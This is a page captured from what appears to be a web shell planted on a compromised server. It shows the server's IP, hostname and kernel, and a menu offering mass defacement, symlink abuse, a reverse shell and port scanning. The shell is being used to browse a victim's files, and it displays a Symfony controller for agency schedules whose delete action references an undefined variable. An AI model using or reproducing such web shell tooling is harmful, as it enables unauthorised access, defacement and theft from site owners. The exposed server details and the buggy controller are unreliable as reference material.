ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: AgencyScheduleController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use FOS\RestBundle\Controller\Annotations as Rest; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use AppBundle\Entity\Agency; use AppBundle\Entity\Schedule; use AppBundle\Form\ScheduleType; use Nelmio\ApiDocBundle\Annotation as Doc; class AgencyScheduleController extends FOSRestController { /** * Get the list of schedules of an agency ('agencyId' is the Id of the agency) * @param integer $agencyId The id of the agnecy * @Rest\Get("/agencies/{agencyId}/schedules") * @Rest\View( * Response::HTTP_OK, * SerializerGroups = {"LIST"} * ) * @Doc\ApiDoc( * section="Schedules of an agency", * resource=true, * description="Get all the schedules of an agency.", * ) */ public function listAction(Agency $agency) { //TODO $schedules = $this ->getDoctrine() ->getRepository('AppBundle:Schedule') ->findByAgency($agency); return $schedules; } /** * Get one schedule of an agency ('agencyId' is the Id of the agency) * @param integer $agencyId The id of the agnecy * * @Rest\Get("/agencies/{agencyId}/schedules/{scheduleId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"SCHEDULE_DETAILS"} * ) * @Doc\ApiDoc( * section="Schedules of an agency", * resource=true, * description="Get one the schedule of an agency.", * ) */ public function showAction(Agency $agency, Schedule $schedule) { if( !$agency->getSchedules()->contains($schedule) ){ return new JsonResponse(['error' => 'This agency does not have this schedule '], Response::HTTP_METHOD_NOT_ALLOWED); }; return $schedule; } /** * Create a schedule of an agency ('agencyId' is the Id of the agency) * @param integer $agencyId The id of the agnecy * * @Rest\Post("/agencies/{agencyId}/schedules") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "SCHEDULE_DETAILS"} * ) * @ParamConverter("schedule", converter="fos_rest.request_body") * @Doc\ApiDoc( * section="Schedules of an agency", * resource=true, * description="Create a schedule of an agency.", * input = { * "class"="AppBundle\Form\ScheduleType", * }, * output = { * "class"="", * } * ) */ public function createAction(Agency $agency, Schedule $schedule) { //TODO $schedule->setAgency($agency); $em = $this ->getDoctrine() ->getManager(); $em->persist($schedule); $em->flush(); return $schedule; } /** * Update a schedule of an agency ('agencyId' is the Id of the agency) * @param integer $agencyId The id of the agnecy * @param integer $scheduleId The id of the schedule * * @Rest\Put("/agencies/{agencyId}/schedules/{scheduleId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "SCHEDULE_DETAILS"} * ) * @Doc\ApiDoc( * section="Schedules of an agency", * resource=true, * description="Update a schedule of an agency.", * input = { * "class"="AppBundle\Form\ScheduleType", * }, * output = { * "class"="", * } * ) */ public function updateAction(Request $request, Agency $agency, Schedule $schedule) { //TODO refaire cette fonction en utilisant les formulaires. if( !$agency->getSchedules()->contains($schedule) ){ return new JsonResponse(['error' => 'This agency does not have this schedule '], Response::HTTP_METHOD_NOT_ALLOWED); }; // update each field independently if($request->request->has("departTime")) $schedule->setDepartTime( new \DateTime( $request->request->get("departTime")) ); if ($request->request->has("active")) $schedule->setActive( $request->request->get("active")); $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $schedule; } /** * Update a schedule of an agency ('agencyId' is the Id of the agency) * @param integer $agencyId The id of the agnecy * @param integer $scheduleId The id of the schedule * * @Rest\Delete("/agencies/{agencyId}/schedules/{scheduleId}") * @Rest\View( * statusCode = Response::HTTP_OK * ) * @Doc\ApiDoc( * section="Schedules of an agency", * resource=true, * description="Update a schedule of an agency.", * ) */ public function deleteAction(Schedule $schedule) { //TODO if( !$agency->getSchedules()->contains($schedule) ){ return new JsonResponse(['error' => 'This agency does not have this schedule '], Response::HTTP_METHOD_NOT_ALLOWED); }; $schedule->setActive(false); return new JsonResponse(''); } }
Coded With 💗 by
0x6ick